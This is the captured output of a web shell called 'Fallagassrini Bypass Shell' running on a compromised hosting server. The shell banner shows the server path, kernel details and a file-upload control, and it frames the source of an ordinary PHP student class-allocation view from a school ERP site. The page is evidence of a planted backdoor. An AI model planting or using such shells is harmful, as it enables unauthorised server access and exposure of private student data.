? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/oscarerp.com/application/views/student/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/oscarerp.com/application/views/student/add_student_class.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
$student = $this->mastermodel->getdatas('student', 'student_id', '', 'student_id');
$stud = array(0);
$index = 0;
?>
<script src="<?= base_url() ?>assets/js/jquery.autocomplete.js"></script>
<script type="text/javascript">    
    $(document).ready(function()
    {           
        $("#stud").css('display', "none");
        suggestStudent('#student'); 
    });
    function getFeeParticularAmount(fee_details_id,payment_type,index){     
        $('#first_month_div_'+index).hide();
        $('#pay_amount_'+index).show();
        $.ajax({
            type: "POST",
            dataType:"json",
            url: "<?= site_url() ?>/student/get_fee_details/"+fee_details_id+"/"+payment_type,
            success: function(msg)
            {
                if(payment_type=="monthly"){
                    $('#first_month_div_'+index).show();
                    $('#pay_amount_'+index).hide();
                    $('.pay_amount'+index).val(msg);
                    $('#pay_amount_'+index).val(0);
                    //                    $('.calfocus').datepick({dateFormat: 'dd-mm-yyyy'});
                }
                else{
                    $('#first_month_div_'+index).hide();
                    $('#pay_amount_'+index).show();
                    $('.pay_amount'+index).val(0);
                    $('#pay_amount_'+index).val(msg);
                }
                
            }
        });        
    }
    function getSessionAmount(session,divid){
        var res = session.split("~");
        $('#'+divid).val(res[1]);
    }
    function load_student_fee_details()
    {         
        var student_id = $('#student_id').val();   
        var no_days= $('#fee_term_no_of_days').val();   
        var term=<?= $class_details->class_term_id ?>; 
        if(student_id == "")
        {
            alert("Please select Student First");
        }
        else if(no_days==""){
            alert("Plaese select no of days.");
        }
        else
        {   
            var flag=0;
            var students=$('#list_stud_id').val();            
            $.each( students.split(','), function( key, list_student ) {
                if(term+"_"+student_id==list_student){
                    flag=1;
                }
            });            
            var index=$('#student_added tr').length+1;
            if(flag==1)
            {
                alert('Student is Already added'); 
            }
            else
            {        
                $("#stud_fee_details").empty().html('<CENTER><img src="<?= base_url() ?>assets/images/loading.gif" class="loading"/></CENTER>');
                $("#stud_fee_details").load("<?= site_url() ?>/student/load_student_fee_details/"+<?= $class_details->class_name_id ?>+"/"+student_id+"/"+<?= $class_details->class_name_academic_year_id ?>+"/"+<?= $class_details->class_session ?>+"/"+no_days+"/"+term);        
                $("#stud").css('display', "block");
            }         
        }

    }
    
    function checkallstd(status,tag)        
    { 
        $('#'+tag+ ' input').each(function(index,obj){
            if(obj.type === 'checkbox')
            {
                obj.checked = !status;
            }
        });
    }
</script>
<?php
$attributes = array('id' => 'validateform', 'class' => 'validate');
echo form_open('student/addinstudent/insert_student_class/view_student_class/1', $attributes);
?>
<div class="icons_main">
    <div  class="icons">
        <img src="<?= base_url() ?>assets/images/back.png" title="Back" class="clickimage" onclick="viewdata('student','viewinstudentsearch','search_student_class','view_student_class','<?= $_SESSION['pagenum']; ?>')" alt="Back" align = "center" width="32" height="32"  />
    </div>
    <div class="icons_caption">
        <h4>Class Allocation</h4>
    </div>
</div>
<div class="grid_6">
    <div class="box">
        <div class="header main no-icon">Class Room Details</div>
        <div class="content  no-padding">
            <div class="section _100">
                <label>Class Code</label>
                <div class="single_page">
                    <?= $class_details->class_name_code; ?>
                </div>
            </div>
            <div class="section _100">
                <label>Class Room Name</label>
                <div class="single_page">
                    <?= $class_details->class_room_name; ?>
                </div>
            </div>
            <div class="section _100">
                <label>Term</label>
                <div class="single_page">
                    <input type="hidden" name="term_id" id="term_id" value="<?= $class_details->class_term_id ?>" />
                    <?= $this->mastermodel->get_single_field_value('term', 'term_name', 'term_id', $class_details->class_term_id); ?>                                      
                </div>
            </div>
            <div class="section _100">
                <label>Session</label>
                <div class="single_page">
                    <?= $this->mastermodel->get_single_field_value('session', 'session_name', 'session_id', $class_details->class_session);
                    ?>                                      
                </div>
            </div>
            <div class="section _100">
                <label>Academic Year</label>
                <div class="single_page"> <?= $class_details->class_name_academic_year_id; ?>
                </div>
            </div>
            <input type="hidden" name="class_name_id"  id="class_name_id" value="<?= $class_details->class_name_id; ?>"/>
        </div>
    </div>
</div>
<div class="grid_6">
    <div class="box" style="margin: 15px auto;">
        <div class="header main no-icon">Add Student To <?= $class_details->class_name_code; ?></div>
        <div class="content  no-padding">
            <div class="section _100">
                <label>Student</label>
                <div>
                    <input type="text" name="student" id="student"  value=''placeholder="Select Student" class="reset" />
                    <input type="hidden" name="student_id" id="student_id" class="reset" />                   
                </div>
            </div>
            <div class="section _100">
                <label>No Of Days</label>
                <div>
                    <?php $no_of_days = $this->mastermodel->getdatas('no_sessions'); ?>
                    <select id="fee_term_no_of_days" name="fee_term_no_of_days" class="chzn-done valid required" onchange="empty('#stud_fee_details')">
                        <?php
                        foreach ($no_of_days as $list) {
                            echo '<option value="' . $list['no_sessions'] . '">' . $list['no_sessions'] . '</option>';
                        }
                        ?>
                    </select>                   
                </div>
            </div>
            <div class="section _100">
                <label>Date of Allotment</label>
                <div class="single_page">
                    <input type="text" name="class_allocation_date" id="class_allocation_date" class="calfocus medium1" value="<?= date('d-m-Y') ?>"/>
                </div>
            </div>
        </div>
    </div>
</div>
<div class="grid_12">
    <div class="actions"> 
        <input type="button" onclick="load_student_fee_details()" value="Load Fee Details " style="border: 1px solid #14526F;background-color: #71B4D3;color: white;padding: 5px;width: 200px;text-align: center;margin: 0 auto;margin-top: 10px;"/>      
    </div>
</div>
<div id="stud_fee_details" style="width: 100%;text-align: center;">

</div>
<div class="grid_12"> 
    <div class="box">
        <div class="header main"><?= $class_details->class_name_code; ?></div>
        <div class="content  no-padding" >
            <table class="table" cellpadding="0" cellspacing="0" id="tbl1">              
                <tr style="border-bottom: 1px solid #71B4D3;">
                    <th width="10%">Sl No</th>
                    <th width="25%">Student Name</th>
                    <th width="20%">Student No.</th>
                    <th width="10%">Age</th>
                    <th width="10%">Gender</th>
                    <th width="15%">Nationality</th>
                    <th width="10%">No of Days</th>
                </tr>                                    
                <tbody id="list_student_added">
                    <?php
                    $html1 = '';
                    $html = '';
                    $index = 1;
                    $active = count($class_students) - (count($cancelled_student) + count($deactivate_student));
                    $slno1 = $active + 1;
                    $slno2 = $active + count($cancelled_student) + 1;
                    if (count($class_students)) {
                        $temp = "";
                        foreach ($class_students as $value) {
                            $stud[] = $value['term_id'] . '_' . $value['student_id'];
                            if (in_array($value['student_id'], $cancelled_student)) {
                                $status = 'Cancelled';
                            } elseif (in_array($value['student_id'], $deactivate_student)) {
                                $status = 'Deactivated';
                            } else {
                                $status = 'Active';
                            }
                            ?>
                            <tr>
                                <td><?= $index ?></td>
                                <td><?= $value['first_name'] ." ". $value['last_name'] ?></td>
                                <td><?= $value['reg_no']; ?></td>
                                <td>
                                <?php
                                /* 'yyyy-mm-dd format' */
                                $age_details = $this->mastermodel->getAgeDetails($value['dob']);
                                echo $age_details['in_words'];
                                ?>
                                </td>
                                <td><?= $value['gender']; ?></td> 
                                <td><?= $this->mastermodel->get_single_field_value('nationality','nationality_name','nationality_id',$value['nationality_id']) ?></td>
                                <td><?= $value['no_of_days'] ?></td>
                            </tr>
                            <?php
                            $index++;
                        }
                    } else {
                        ?>
                    <td colspan="7" style='background-color:#71B4D3;color:white;' >
                        No student is in this Class
                    </td>
                    <?php
                }
                ?>
                </tbody>
            </table>                                 
        </div>
    </div>
    <input type="hidden" value="<?= implode(',', $stud) ?>" name="list_stud_id" id="list_stud_id" />
</div>
<div class="grid_12 " id="stud"  style="display:none"> 
    <div class="box">
        <div class="actions"> 
            <div class="actions-left">
                <div >
                    <div id="empdiv"></div>
                </div>
            </div>           
            <div class="actions-right">
                <button type="submit"  class="clickimage"  onclick="addformdata('validateform')">Process</button>
            </div>
        </div>
    </div>
</div>
<div id="sl"></div>
<?php

?>


<?php echo form_close(); ?>

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net